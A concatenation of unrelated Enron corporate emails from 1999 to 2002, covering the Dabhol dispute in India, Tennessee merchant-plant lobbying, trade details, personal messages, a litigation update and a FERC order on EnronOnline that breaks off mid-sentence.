Many people I have met with in the Indian government have made references to the letter, saying they do not think it was appropriate. I respond by saying that given our 9 year history of nothing but frustrations, and the lack of progress over the past 2 months, we do think it is appropriate and it reflects our current views regarding our experience in India. Generally, when they mention it time and again, it probably means the letter is having at least some of its intended effect.

I'll keep you, Stan and Jim updated as we hear more from the Indian government.

Wade

Nikita Varma
09/26/2001 12:03 PM
To:	Nikita Varma/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:	 (bcc: Wade Cline/ENRON_DEVELOPMENT)

Subject:	From The Enron India Newsdesk - September 26th Newsclips
-------------------------------------------------------------------------------------------------------------------------------------------------
THE FINANCIAL EXPRESS, Wednesday, September 26, 2001

Lay off, Mr Lay (Editorial)
Enron tries terror tactics

Enron Corporation's CEO Kenneth Lay has reportedly written a letter to Prime Minister Atal Bihari Vajpayee warning him of adverse consequences to the Indian economy if the Dabhol Power Company imbroglio is not resolved quickly. He says that if Enron receives anything less than its full investment in DPC, it would amount to an act of expropriation. He further points out that any government found to have expropriated the property of US firms automatically faces sanctions from that country. Reportedly, the letter was written three days after the attack on the World Trade Centre. So Mr Lay probably ought to be forgiven for reading more than he should into the "dead or alive" rhetoric of his pal, George W Bush, whose election campaign Mr Lay generously funded. Saner counsel has since prevailed even at the White House; and far from imposing fresh sanctions, the US government is busy buying support even from countries such as Pakistan by lifting sanctions and offering a hefty aid package. Enron has never hesitated to use the considerable economic and political clout of the US government in pushing the Dabhol project at various times. Post September 11, the US government - which is in fact 'rewarding' Pakistan despite its clearly identified role in funding terrorist groups - ought not to be terrorising India on Enron. Hence, it is entirely appropriate for the Prime Minister to borrow that little Americanism, recently made popular by Pervez Musharraf, and ask Kenneth Lay to lay off!

Interestingly, Mr Lay's letter apparently makes no mention of several important facts that will dictate how much India may have to pay Enron. These include the findings of the Madhav Godbole committee report which expose substantial overcharging by DPC on several counts and reveals excess capacity created for port handling and regassification. Moreover, DPC's inability to ramp up the power plant to full contracted capacity within the specified time period has enormous penal provisions attached to it. This serious technical deficiency apart - which alone is grounds enough for repudiating the DPC contract - the government also has a good case to charge the US company with fraud and misrepresentation. The Maharashtra government 's judicial inquiry only makes India's case stronger. Let us not allow ourselves to be pushed around by Enron's threats and political connections.


Thank you for your note.  It is always appreciated.  I'm sure you will find
your career here very exciting, and Dan is a leader in our company and I know
he is excited to have you as part of his team.

If you are running into some employee issues, I'd ask you to get Shanna
Funkhouser involved as well.  A good work environment is crucial to
everyone's success.

Welcome.

Jeff

Jody.Underwood@enron.com on 11/17/2000 08:40:23 AM
To: jshankm@ENRON.COM
cc:
Subject: JENNIFER BURNS

Mr. Shankman:

     I am Dan Reck's new administrative assistant.  I initially interviewed
with Jennifer and Shanna Funkhouser and knew that they were both special.
However, since I have been here (an entire 5 days now!), Jennifer has been
invaluable to me.  On my first day at my desk, she called and asked me to
come to her office and she introduced me to Cathy Phillips and Yolanda
Martinez.  The reason for this e-mail is that I have encountered some
employee problems at my location and have confided in Jennifer.  Her
professionalism, eloquence and intelligence belies her youth.  As I am sure
you are aware, Jennifer is a diamond and she will only shine brighter as
her experience grows.  Life is short and I was raised to say nice things
when warranted.  I am so impressed with Jennifer  and I am proud and feel
privileged to be a member of her team.  Thank you for your time.


The Governor's Energy Working Groups' subcommittee on merchant plants will take comments from independent suppliers on October 18th.  TVA made a presentation at the last meeting of the subcommittee.  I will forward to you an outline of their comments.

Please take a look at them and provide me with comments on how you think the industry should respond and who you think should do it (i.e. should we have EPSA testify, a panel of industry experts, etc...).  I will be on the EPSA call Friday afternoon.

For those of you who are not aware, Enron has site near Memphis that it is developing.  The air permit application was submitted prior to the Chief of Staff's letter advising local air boards to not accept new permits.  We tentatively believe that our permit can go forward w/o holdup.   While our site might be spared, we need to take into consideration the fact that the state could take action to severely limit independent power projects in TN.  This action could result in a domino effect in the south.  Also, this meeting provides us with an opportunity to bring our message regarding TVA into Tennessee.

I will also obtain a copy of the subcommittee's members and forward it to you.

Also, Robert Gowan of Stokes Bartholomew, one of our law firms in TN, is talking with the head of the EWG about getting EPSA appointed to the Advisory Board of the Working Group.

 -----Original Message-----
From: 	"Samantha Slater" <sslater@epsa.org>@ENRON [mailto:IMCEANOTES-+22Samantha+20Slater+22+20+3Csslater+40epsa+2Eorg+3E+40ENRON@ENRON.com]
Sent:	Wednesday, September 26, 2001 9:23 AM
To:	dlimbac@alleghenyenergy.com; tadlhoc@alleghenyenergy.com; zaiontj@bp.com; jconnelly@calpine.com; jflumerfelt@calpine.com; pmoeller@calpine.com; Dennis.Flaherty@Cinergy.COM; Jason.Barker@Cinergy.COM; jeffreeman@cogentrix.com; Paula_Soos@CovantaEnergy.com; carolyn_moss@dom.com; mshaywood@duke-energy.com; David.Cruthirds@dynegy.com; Jenni.Barr@ElPaso.com; Jacoby, Ben; bhueter@enron.com; Shelk, John; Beth.Bradley@mirant.com; scott.omalia@mirant.com; jane.cahill@neg.pge.com; leah.gibbons@neg.pge.com; melissa.lavinson@neg.pge.com; bryan.riley@nrgenergy.com; james.hebson@pseg.com; Kristen.Ludecke@pseg.com; ben.boyd@reliant.com; bud_albright@reliant.energy.com; chris_m_giblin@reliantenergy.com; jlsena@tecoenergy.com; jmartin@TENASKA.com; bcox@tnsk.com; achau@tractebelpowerinc.com; Dwight.Rychel@Williams.com; Gretchen.Emling@Williams.com
Cc:	Andrea Spring; Jodi Empol
Subject:	Mtg. in Nashville on October 18

The meeting with the Committee will be held in Nashville on October 18th.  Instead of 30 minutes, we will have 60 minutes.  Following our presentation, the Tennessee distributors
will have 30 minutes.  We are welcome to stay for the distributors' presentation.  The continental breakfast/registration will begin at 9:30 a.m.
 Our presentation will begin at 10:00 a.m.  The distributors will begin their
presentation at 11:00 a.m.

I hope you'll be able to join the conference call on Friday, September 28th at 11:00 a.m. EDT to discuss how to use our 60 minutes.  To access the call, please dial 1-800-937-6563 and ask for the EPSA/Samantha Slater call.  Please make sure to ask for the Samantha Slater call, since we will have two EPSA calls going on at the same time.

Thanks!


Steve & Christian,

After talking with the Southwest desk here is what is happening with Azusa.

 Deal #831407.1 Paloverde Heavy Load 10mw Purchase from Azusa at $32.50  1/1/02 thru 3/31/02
 Deal #537901.1 Paloverde Heavy Load 10mw Sale to Azusa at $139.00         1/1/02 thru 12/31/02

	These two deals are the only ones active for January  and are being performed on.  They are booked out financially. All other deals I found are for Q3 '02 and beyond.

I hope this clarifies some things.

PP


You realize of course that my smart-ass reference to the "rules" (female
guide to dating) was in fact my subtle way of mocking a large subset of your
gender (or as some would say the weaker sex) --- present company excluded of
course.

For a good laugh check out:  www.therulesbook.com.

Susan M Scott
07/20/2000 11:42 AM
To: Ted Noble/HOU/ECT@ECT
cc:
Subject: Re:

Ted,

My day is going quite well, actually.  I managed to sleep in past 6:30 a.m.
this morning and did not work-out so I'm feeling pretty good.  I'm not sure
if I'll be able to respect you in the light of your "rule-breaking", but I'm
going to try to look past that.  I'm heading to lunch right now - yes, I am
actually leaving the building - so the day just keeps getting better and
better.  As for last night, I had a really good time too and am glad you were
able to look past my bad manners and agree to go out Friday.  Talk to you
soon.

Susan

-- By the way, I'm very relieved to hear about the buckle.

Ted Noble
07/20/2000 11:19 AM
To: Susan M Scott/HOU/ECT@ECT
cc:
Subject:

Shorty,

I hope your day is going well and your trader and thus you are having a good
day.  I just realized that I broke the "rules" last night.  I should say no
to a Friday night out when asked out on Wednesday night but I'll let it go
this time because we are going country and you are breaking out the t-shirt
and jeans.  When I think about it, that exception applies to every
situation.  I had fun last night and I think you will be relieved to know
that I can't get my huge belt buckle on order and shipped in time for
tomorrow so you are in the clear.

Ted


Why is this necessary in the first place? I really do not understand why it is necessary.

 -----Original Message-----
From: 	Davis, Angela
Sent:	Tuesday, January 08, 2002 4:51 PM
To:	Kitchen, Louise
Cc:	Cook, Mary; Daniels, Eddy; Taylor, Mark E (Legal)
Subject:	Transfers  to Netco

Paula Corey has informed that the IT people say it would be impossible to delete all prior trade data from "to be Netco" employees'
h drive
existing e-mail
home directory

The recommendation is to wipe these clean prior to Netco employees obtaining access to them.  Further, the recommendation was made that people not be warned to avoid cheating.  I do not know if not telling people is fair.  However, absent some other solution, it would appear that deleting this information would be advisable.  Would you be the person to instruct the IT people to delete and/or announce to "to be Netco" employees that this will occur?

Angela D. Davis
Enron North America Corp.
1400 Smith Street, EB3817
Houston, Texas 77019
Tel: (713) 345-8347
Fax: (713) 646-3393
e-mail: angela.davis@enron.com


Here is the rough transcript from Schultes' sixth day of deposition.? The
deposition should end tomorrow.? I have hung on here, because I want to be
present when the lawyers for Farallon and Legg Mason ask their questions.?
They are starting first thing in the morning.

I will call you about the deposition generally or write you a report or
both.? It has been a very valuable experience.? I know a lot more about the
plaintiff's case than I did before, and I have had a very good opportunity to
get close to the plaintiffs' lawyers and convey the message that Enron really
does not belong in the case.? For the last two nights I've had dinner with
the plaintiffs' lawyers--both nights with the Piper, Marbury and Robins,
Kaplan lawyers, one night with the Farallon and Legg Mason lawyers as well.?
I think we are making good progress.

 <<Schultes 8.05.txt>>

This e-mail message may contain legally privileged and/or confidential
information. If you are not the intended recipient(s), or the employee
or agent responsible for delivery of this message to the intended
recipient(s), you are hereby notified that any dissemination,
distribution or copying of this e-mail message is strictly prohibited.
If you have received this message in error, please immediately notify
the sender and delete this e-mail message from your computer.

 - Schultes 8.05.txt


Jeff,
Cynthia is out today, your email has been forward to me.  I'm working on
your request.

Rae
> ----------
> From: 	Cynthia Biggs
> Sent: 	Monday, August 06, 2001 4:33 PM
> To: 	Rae Ann Fresia
> Subject: 	FW: Yet Another Request
>
>
>
> ----------
> From: 	Dasovich, Jeff[SMTP:JEFF.DASOVICH@ENRON.COM]
> Sent: 	Monday, August 06, 2001 3:35:01 PM
> To: 	Cynthia Biggs
> Subject: 	Yet Another Request
> Auto forwarded by a Rule
>
> Greetings. I need a full-size or premium rental from September 2 to
> September 9, picking up and dropping off at Logan Airport in Boston. Can
> you help me out checking on a price for full-size and premium?  Greatly
> appreciated.
>
> Best,
> Jeff
> **********************************************************************
> This e-mail is the property of Enron Corp. and/or its relevant affiliate
> and may contain confidential and privileged material for the sole use of
> the intended recipient (s). Any review, use, distribution or disclosure by
> others is strictly prohibited. If you are not the intended recipient (or
> authorized to receive for the recipient), please contact the sender or
> reply to Enron Corp. at enron.messaging.administration@enron.com and
> delete all copies of the message. This e-mail (and any attachments hereto)
> are not intended to be an offer (or an acceptance) and do not create or
> evidence a binding and enforceable contract between Enron Corp. (or any of
> its affiliates) and the intended recipient or any other party, and may not
> be relied on by anyone as the basis of a contract by estoppel or
> otherwise. Thank you.
> **********************************************************************
>
>


---------------------- Forwarded by Gerald Nemec/HOU/ECT on 07/23/99 03:50 PM
---------------------------

	Enron Capital & Trade Resources Corp.

	From:  "Greg Giordano" <giordano@wt.net>                           07/22/99
09:45 PM

To: lisa_wilmore@valic.com, bylim30@hotmail.com,
tracy.thompson@halliburton.com, "drew@food4u.com"@sys32.hou.wt.net,
karent@netropolis.net, pdv@pdq.net, Gerald Nemec/HOU/ECT,
brian.freeze@gte.net, tedsw@aol.com, pld@coastalsecurities.com,
jbrownlie@pdq.net, "larry_milo@msn.com"@sys32.hou.wt.net,
"caroltom99@aol.com"@sys32.hou.wt.net, carino@evl.net, mj3@pdq.net,
zztop@wt.net, adamlisa@gateway.net, usnick@hic.net, jhoare@gte.net,
rasbooty@aol.com, ldking@ijpc.com, mkting@aol.com, daroofguru@aol.com,
jstudlick@unocal.com, "waynee147@aol.com"@sys32.hou.wt.net,
bewley_s@mciworld.com, "jechiflyer@aol.com"@sys32.hou.wt.net,
"lworkin@pdq.net"@sys32.hou.wt.net, "provo22@aol.com"@sys32.hou.wt.net,
"couns@gateway.net"@sys32.hou.wt.net, "cklein3795@aol.com"@sys32.hou.wt.net,
overjoed@flash.net, "la_smith@msn.com"@sys32.hou.wt.net,
"junerive@flash.net"@sys32.hou.wt.net,
"wendy.kurtz@gte.net"@sys32.hou.wt.net,
"jephross@velaw.com"@sys32.hou.wt.net,
"brives@marblefalls.txed.net"@sys32.hou.wt.net,
"sca905@swbell.net"@sys32.hou.wt.net, "sandarcool@aol.com"@sys32.hou.wt.net,
"barbara.eckrote@gte.net"@sys32.hou.wt.net,
"tmpi@chevron.com"@sys32.hou.wt.net, "skathol@enron.com"@sys32.hou.wt.net,
"andrea_price@enron.com"@sys32.hou.wt.net,
"hamilton@pdq.net"@sys32.hou.wt.net, "tomj@amerstu.com"@sys32.hou.wt.net,
"ricstar@compuserve.com"@sys32.hou.wt.net,
"rgitti@coair.com"@sys32.hou.wt.net,
"sandracollazo@yahoo.com"@sys32.hou.wt.net,
"eswisher@leschaco.com"@sys32.hou.wt.net,
"gmantinkhou@lesacho.com"@sys32.hou.wt.net,
"harriss6@nationwide.com"@sys32.hou.wt.net,
"ederle@hal-pc.org"@sys32.hou.wt.net,
"stacey.gillespie@rhic.com"@sys32.hou.wt.net,
"derek.dover@compaq.com"@sys32.hou.wt.net,
"jgrana@farm1.med.uth.tmc.edu"@sys32.hou.wt.net,
"cbouquet@yahoo.com"@sys32.hou.wt.net,
"lmangus@bcm.tmc.edu"@sys32.hou.wt.net,
"acolom@gateway.net"@sys32.hou.wt.net, "ragiel@gateway.net"@sys32.hou.wt.net,
"lholub@hotmail.com"@sys32.hou.wt.net,
"bvick@santafe-snyder.com"@sys32.hou.wt.net,
"geotech@neosoft.com"@sys32.hou.wt.net,
"andrea_price@enron.com"@sys32.hou.wt.net, "mms@pdq.net"@sys32.hou.wt.net,
"george-schaefer@reliantenergy.com"@sys32.hou.wt.net,
"jdaigle@cef.ci.houston.tx.us"@sys32.hou.wt.net,
"carol410@aol.com"@sys32.hou.wt.net, "climber61@aol.com"@sys32.hou.wt.net
cc:
Subject: Our Next Winetasting

La Joie du Vin and the Italian Cultural and Community Center are pleased to
announce an Italian wine tasting. Scott Spencer, the owner of Wines of
America, will be leading our tasting of six red
wines, each from a different winegrowing region.  Admission is $30 for
members of our organization and $35 for nonmembers.  Mark your calendars now
for Thursday, August 5th. We will be donating our proceeds to the Children's
Scholarship Fund of the Italian Cultural and Community Center.

Visit our website at http://www.lajoieduvin.org/events/1999august.htm for
more detailed information and instructions regarding reserving admission to
the tasting.

Sincerely,

Greg Giordano
Director

If you would like to be removed from our mailing list, please reply to
giordano@wt.net with the word "Remove" in the subject heading.
 - att1.htm


Please do not hesitate to contact me with any questions.

Thanks,
Jennifer


-----Original Message-----
From: Orr, Robert K. [mailto:rorr@kpmg.ca]
Sent: Friday, January 18, 2002 2:05 PM
To: Fowler, Kulvinder
Subject: FW: HI-Larious: 2002 planner

Hi Buddy - do you still have a job - all I hear about is Enron - enron this and enron that - enough already!!! Yippeeee...it's Friday!!!

 2002 Weekly Planner

Monday -
Tuesday -
Wednesday -
Thursday -
Friday -
Saturday -
Sunday -

--

******************************************************************************
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorized.

If you are not the intended recipient, any disclosure, copying, distribution
or any action taken or omitted to be taken in reliance on it, is prohibited
and may be unlawful. When addressed to our clients any opinions or advice
contained in this email are subject to the terms and conditions expressed in
the governing KPMG client engagement contract.
******************************************************************************


Per the request of Bill Bradford, I am attaching our standard Material
Adverse Change clauses.


Mary's number 213/244-3898.

C

To: mreed@socalgas.com
cc: Chris H Foster/HOU/ECT@ECT
Subject: Enron contact

Mary,

I have been unsuccessful at finding your phone number so I will try this
email address I received from Kim Olinger.  I have recently moved from
Enron's Portland office where I worked for Chris Foster, to Houston to
re-initiate our gas marketing efforts in the west.  Chris has been turning
over the gas responsibilities he retained after moving to Portland.  Could
you change the Enron contact that you have in your system from Chris Foster
to me?  My name is Kim Ward and my number is 713-853-0685.  Please call me
with any questions you might have.

Thanks,

Kim Ward


---------------------- Forwarded by Randall L Gay/HOU/ECT on 03/30/2000 11:51
AM ---------------------------

"Vanessa Wilson" <VWILSON@skadden.com> on 03/30/2000 11:16:35 AM
To: allan.janna@enron.com, joana.ryan@enron.com
cc: rgay@enron.com, roseann.engeldorf@enron.com, MTHURBER@mail5.allegro.net
Subject: Fwd: GE Letter Agreement

As requested, attached please find the e-mail I sent to Rob Gay to which the
current draft of the Letter Agreement with GEII is attached and which briefly
summarizes the indemnity issue we have been discussing.

If you have any questions or would like to discuss the attached further,
please feel free to contact me at 713-655-5102.

------------------------------------------------------
This e-mail, and any attachments thereto, is intended only for use by the
addressee(s) named herein and may contain legally privileged and/or
confidential information.  If you are not the intended recipient of this
e-mail, you are hereby notified that any dissemination, distribution or
copying of this e-mail, and any attachments thereto, is strictly prohibited.
If you have received this e-mail in error, please immediately notify me at
(212) 735-3000 and permanently delete the original and any copy of any e-mail
and any printout thereof.
Date: Tue, 28 Mar 2000 17:36:15 -0500
From: "Vanessa Wilson" <VWILSON@skadden.com>
Cc: MTHURBER@skadden.com
Subject: GE Letter Agreement
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=_4E179871.E8897E40"

Rob,

Attached please find the current draft of the Letter Agreement (32581.7),
including Attachment 8 (32573.7) which sets forth various provisions to be
included in the Purchase Agreement.  Article 20 regarding indemnification is
included in Attachment 8.

As we discussed, West LB has some concerns regarding including language in
Article 20 which GEII requested by which West LB would indemnify GEII for
Enron's acts (in its capacity as Agent).  West LB has suggested they would be
willing to undertake this obligation if they are reimbursed by Enron through
the Acquisition and Development Agreement.  Today, for the first time, West
LB indicated that they may require a cap on this liability for Agent's acts
in the Purchase Agreement.

GEII has requested that West LB undertake this obligation and Enron has
agreed to pursue it with West LB.  In light of this, the language which would
establish West LB's indemnity obligation for the Agent's acts is not included
in the current draft of Attachment 8.

Please let me know how you would like to proceed.  As I mentioned, we are
trying to finalize the Letter Agreement with GEII very shortly.  I apologize
for any confusion and look forward to working with you on this matter.  If
you have any questions or would like to discuss this matter further, please
feel free to contact me at 713-655-5102.

Thanks,
Vanessa.

 - 32581_7.doc
 - 32573_7.doc
 - 32614_2.xls


Need Amber's address, too.


WHALLEY, LAWRENCE G,
?
You have been selected to participate in the Mid Year 2001 Performance
Management process.  Your feedback plays an important role in the process,
and your participation is critical to the success of Enron's Performance
Management goals.
?
To complete a request for feedback, access PEP at http://pep.enron.com and
select Complete Feedback from the Main Menu.  You may begin providing
feedback immediately and are requested to have all feedback forms completed
by Friday, May 25, 2001.
?
If you have any questions regarding PEP or your responsibility in the
process, please contact the PEP Help Desk at:
Houston:  1.713.853.4777, Option 4 or email: perfmgmt@enron.com
London:  44.207.783.4040, Option 4 or email: pep.enquiries@enron.com
?
Thank you for your participation in this important process.
?
The following is a CUMULATIVE list of employee feedback requests with a
status of "OPEN."  Once you have submitted or declined an employee's request
for feedback, their name will no longer appear on this list.  NOTE: YOU WILL
RECEIVE THIS MESSAGE EACH TIME YOU ARE SELECTED AS A REVIEWER.
?
Employee Name:
DETMERING, TIMOTHY
DOSHIER, RAYMOND
HAEDICKE, MARK
KITCHEN, LOUISE
PORT, DAVID
THOMPSON,


-----Original Message-----
From: 	Steffes, James D.
Sent:	Friday, July 20, 2001 2:47 PM
To:	Kitchen, Louise; Yoho, Lisa; Belden, Tim; Forster, David
Subject:	FW: Portland General Electric:  Order Rejecting Tariff Amendments

FERC rejected the request by PGE to modify the Code of Conduct so that they could buy on EnronOnline.  Basically, FERC did not believe that buying thru EnronOnline was a guarantee that consumers in Oregon would not be harmed.

FERC found that There is, for
     example, no assurance that the posted prices on EnronOnline
     represent prevailing market prices.
          Applicants contend that, since PGE can transact with EPMI
     via EnronOnline only at the posted price, there can be no
     affiliate abuse.  We are not certain, however, that the posted
     price necessarily represents the market price.  While, on the
     surface, Enron Online may bear some resemblance to an index or an
     auction, the posted prices for any product may not be the result
     of a competitive market of multiple buyers and sellers; in fact,
     for sales the posted prices represent what EPMI is willing to
     sell at, and for purchases the posted prices represent what EPMI
     is willing to buy at.

FERC left open the idea that PGE could re-file to fix the affiliate abuse.

As soon as we hear anything else, I'll let you know.

Jim

 -----Original Message-----
From: 	Shapiro, Richard
Sent:	Friday, July 20, 2001 4:14 PM
To:	Steffes, James D.
Subject:	FW: Portland General Electric:  Order Rejecting Tariff Amendments

 -----Original Message-----
From: 	Novosel, Sarah
Sent:	Friday, July 20, 2001 10:42 AM
To:	Robertson, Linda; Shapiro, Richard; Steffes, James D.
Subject:	Portland General Electric:  Order Rejecting Tariff Amendments

----- Forwarded by Sarah Novosel/Corp/Enron on 07/20/2001 11:39 AM -----

	"EMILY HARRIS" <eharris@bracepatt.com> 07/20/2001 11:14 AM 	   To: <alan.comnes@enron.com>, <Christi.L.Nicolay@enron.com>, <donna.fulton@enron.com>, <ray.alvarez@enron.com>, <smara@enron.com>, <snovose@enron.com>, <sscott3@enron.com>, <thane.twiggs@enron.com>  cc: "Andrea Settanni" <asettanni@bracepatt.com>  Subject: Portland General Electric:  Order Rejecting Tariff Amendments

                                           96 FERC    61, 093
                          UNITED STATES OF AMERICA
                    FEDERAL ENERGY REGULATORY COMMISSION

     Before Commissioners: Curt H*bert, Jr., Chairman;
                          William L. Massey, Linda Breathitt,
                          Pat Wood, III and Nora Mead Brownell.

     Portland General Electric Company         Docket No. ER01-2097-000

     Enron Power Marketing, Inc.                  Docket No. ER01-2103-000

ORDER REJECTING TARIFF AMENDMENTS WITHOUT           PREJUDICE

                           (Issued July 20, 2001)

          In this order we reject, without prejudice, proposed
     amendments of Enron Power Marketing, Inc. (EPMI) and Portland
     General Electric (PGE) to their respective market-based rate
     tariffs that would allow them to make inter-affiliate sales using
     the EnronOnline trading platform.

     I.   Background

          On May 22, 2001, in separate filings, affiliates PGE in
     Docket No. ER01-2097-000 and EPMI in Docket No. ER01-2103-000
     (collectively Applicants) filed to amend their respective market-
     based rate schedules to allow for inter-affiliate sales through
     the EnronOnline trading platform, and to prohibit communication
     among affiliates regarding the contents of prices posted on
     EnronOnline or the times that PGE will be making trades on
                 1
     EnronOnline.   This amendment does not supplant the existing
     provisions of PGE's and EPMI's currently effective tariffs which
     allow for inter-affiliate sales subject to conditions that the
     Commission generally imposes on inter-affiliate sales where there
     are captive customers, e.g., allowing a public utility to sell to
     its affiliated power marketer only at a rate that is no lower
     than the rate it charges non-affiliates, requiring simultaneous
     offers to non-affiliates, or requiring use of a relevant,
     established index.  Rather, PGE and EPMI propose to amend their
     respective tariffs to add a provision by which they will make

               1
                The EnronOnline system is administered by Enron Networks,
          an Enron Corp. subsidiary.  EnronOnline is a free, Internet-
          based, transaction system which allows EPMI's customers to view
          real time prices from EPMI's traders and transact instantly
          online.  EnronOnline is not an EPMI application, but rather
          EnronOnline is a trading platform used as a tool by EPMI in
          buying from and selling power to third parties.

          Docket Nos. ER01-2097-000 -2-
          and ER01-2103-000

     inter-affiliate sales via EnronOnline, with restrictions
     different than those in place but that, they state, will still
     prevent affiliate abuse.  Applicants state that the Commission's
     requirements have become outdated due to recent developments in
     electronic commerce and, in particular, the Commission's
     requirement that "PGE post on its website notice of a potential
     purchase or sale with EPMI prior to PGE entering into the
     transaction with EPMI prohibits PGE from using EnronOnline, since
     EnronOnline offers only instantaneous transactions that do not
     provide for a waiting period before consummating the
                  2
     transaction."   According to Applicants, this deprives PGE of the
     ability to buy or sell power "from perhaps the largest marketer
                                                                3
     in its region, to the detriment of PGE and its ratepayers."

     II.  Notice of Filing and Interventions/Protests

          Notices of the filings were published in the Federal
     Register, 66 Fed. Reg. 29,939 (2001) (Docket No. ER01-2097-000),
     and 66 Fed. Reg. 30,180 (2001) (Docket No. ER01-2103-000), with
     motions to intervene and protests for both due on or before
     June 12, 2001.  None was filed.

     III. Discussion

          The Commission allows power marketers and their public
     utility affiliates to sell to one another at market-based rates
     when it can be assured that there is no possibility of affiliate
     abuse.  As the Commission has explained, affiliate abuse can
     occur when a traditional public utility with captive customers
     sells power at below-market prices to, or purchases power at
     above-market prices from, an affiliate without captive customers
     (such as a power marketer affiliate).  One way in which the
     Commission has sought to prevent this type of cross-subsidization
     by captive customers is to require the pricing of inter-affiliate
                                                             4
     sales at an established, relevant market price or index.
     Another way, when there is no assurance that the affiliates are
     transacting at the prevailing market price, is to adopt various
     conditions previously established by the Commission to prevent
                     5
     affiliate abuse.

               2
                EPMI Application at 3; PGE Application at 4.
               3
                EPMI Application at 3; PGE Application at 4.
               4
                See, e.g., DPL Energy, Inc. 90 FERC   61,200 (2000);
          accord, First Energy Trading Services, Inc., 88 FERC   61,067 at
          61,156 (1999).
               5
                E.g., GPU Advanced Resources, Inc., 81 FERC   61,335 at
                                                        (continued...)

          Docket Nos. ER01-2097-000 -3-
          and ER01-2103-000

          Here, Applicants request that the Commission permit them to
     use EnronOnline to make inter-affiliate sales, subject to the
     following restrictions that they contend provide sufficient
     protection against affiliate abuse.  PGE, when buying from EPMI
     using EnronOnline, will be required to "take the transaction
     price as posted that is generally applicable at a particular
                                                              6
     location without attempting to negotiate any adjustment."   In
                                                                  7
     addition, PGE will be prohibited from submitting Limit Orders  or
     engaging in any other type of transaction in which the identity
     of the counter-party is revealed to EPMI prior to the transaction
     being finalized.  Applicants also propose to amend their
     respective codes of conduct to preclude any communication
     regarding prices posted on EnronOnline.

          Applicants contend such restrictions ensure no affiliate
     abuse occurs since PGE will only be able to transact with EPMI at

          5
           (...continued)
          62,539 (1997) (GPU); Detroit Edison Company, 80 FERC   61,348 at
          62,197-98 (1997) (Detroit Edison).  In GPU, the Commission
          allowed sales from a power marketer to its affiliated traditional
          public utility at a rate that was no higher than the lowest rate
          the public utility paid non-affiliates under certain standard
          supplier agreements.  Accord, First Energy Trading & Power
          Marketing, Inc., 84 FERC   61,214 at 62,037-38, reh'g denied, 85
          FERC   61,311 (1998).  Detroit Edison provided that a traditional
          public utility may sell power to its affiliated power marketer
          only at a rate that is no lower than the rate it charges non-
          affiliates; that the utility simultaneously offer through its
          electronic bulletin board to sell to non-affiliates at the same
          rate offered to its affiliate; and that all prices charged to the
          affiliate be simultaneously posted on its electronic bulletin
          board.  Accord, Jersey Central Power & Light Co., 82 FERC
          61,023 at 61,071 (1998); Commonwealth Edison Co., 85 FERC
          61,288 at 62,176-77 (1998).
               6
                EPMI Application at 4; PGE Application at 5.
               7
                In the case of a Limit Order on EnronOnline, EPMI would
          know the identity of the customer requesting a price higher or
          lower than that currently available.  Applications at 3.  While
          Applicants do not define "Limit Order," the common understanding
          is that, unlike a market order, which instructs a broker to
          transact immediately at whatever price is currently available in
          the marketplace, a limit order instructs a broker to fill the
          order only if certain conditions are met.  Generally, a limit
          order may be either a day order, in which case it expires when
          the market closes if unfilled, or good-until-canceled, in which
          case the limit order lasts until executed or canceled.

          Docket Nos. ER01-2097-000 -4-
          and ER01-2103-000

     the posted price (a price that is offered to all market
     participants) and there will be no transactions in which EPMI
     knows that PGE is the counter-party before the transaction is
     finalized.  Thus, Applicants contend that not only will PGE be
     unable to negotiate special terms with EPMI through EnronOnline,
     but EPMI will have no discretion to take actions which favor PGE.
     Applicants further offer that procedures are performed by
     computer and are not left to the discretion of any affiliate of
     PGE.  In addition, because the EnronOnline price is posted
     electronically and is available to all market participants,
     Applicants state that PGE's customers have the opportunity to
     transact with EPMI on EnronOnline on the same terms and
     conditions that are available to PGE.

          Applicants have failed to demonstrate that their proposed
     restrictions provide the same protections afforded under the
     Commission's affiliate abuse requirements and conditions (e.g.,
     protection against PGE buying too high or selling too low in its
                                           8
     transactions with its affiliate EPMI).   The thrust of
     Applicants' argument is that the Commission's affiliate abuse
     concerns are satisfied by using EnronOnline, a public medium, for
     selling power between affiliates.  We disagree.  While perhaps
     faster and easier to use than phone calls, faxes, or letters, an
     Internet-based platform is just another medium for trade, and
     speed and ease of use do not dictate that the Commission's
     affiliate abuse concerns have been satisfied.  There is, for
     example, no assurance that the posted prices on EnronOnline
                                        9
     represent prevailing market prices.

          Applicants contend that, since PGE can transact with EPMI
     via EnronOnline only at the posted price, there can be no
     affiliate abuse.  We are not certain, however, that the posted
     price necessarily represents the market price.  While, on the
     surface, Enron Online may bear some resemblance to an index or an
     auction, the posted prices for any product may not be the result
     of a competitive market of multiple buyers and sellers; in fact,
     for sales the posted prices represent what EPMI is willing to
     sell at, and for purchases the posted prices represent what EPMI
                          10
     is willing to buy at.    For other transactions through media
     other than EnronOnline, including other exchanges, EPMI might be

               8
                See supra notes 4-5 and accompanying text (citing cases
          that discuss Commission's underlying concerns with affiliate
          power sales).
               9
                See supra note 4 and accompanying text.
               10
                 All transaction on EnronOnline involve EPMI as a
          participant.  For sales, EPMI is the seller.  For purchases, EPMI
          is the buyer.

          Docket Nos. ER01-2097-000 -5-
          and ER01-2103-000
                                                              11
     willing to sell at lower prices and buy at higher prices.
     Moreover, Applicants provide no information about how product
     prices posted by EPMI are determined, or whether there would be
     any restrictions on what products PGE could trade via
     EnronOnline, or even whether there are other similar, but non-
     affiliated, Internet-based venues where PGE can electronically
     trade those products to attain similar benefits.

          Having failed to convince us that these affiliates will be
     transacting at a prevailing market price via EnronOnline, we now
     turn to whether the Applicants have met other conditions
     established by the Commission to prevent affiliate abuse.
     Regarding transactions in which EPMI may be purchasing from PGE
     through EnronOnline, there is nothing in the Applicants' proposed
     restrictions that would require PGE to
     simultaneously offer to sell to non-affiliates at the same rate
     offered to the affiliate.  The Commission requires that, with
     respect to any power offered to its affiliate, PGE make the same
     offer to unaffiliated entities at the same time through its
     electronic bulletin board.  But it is unclear whether PGE can or
     will make the same offer to non-affiliates.

          Applicants also offer as a protection that PGE is prohibited
     from submitting Limit Orders, which would prevent EPMI from
     knowing that PGE is the counter-party to a transaction.  Again,
     this would not prevent EPMI from selling power to PGE at above-
     market prices.

          The Commission is not assured by the Applicants' proposal
     that transactions between PGE and EPMI conducted via EnronOnline
     will occur in a manner that is consistent with the Commission's
     expectations regarding transparent and reasonable prices for
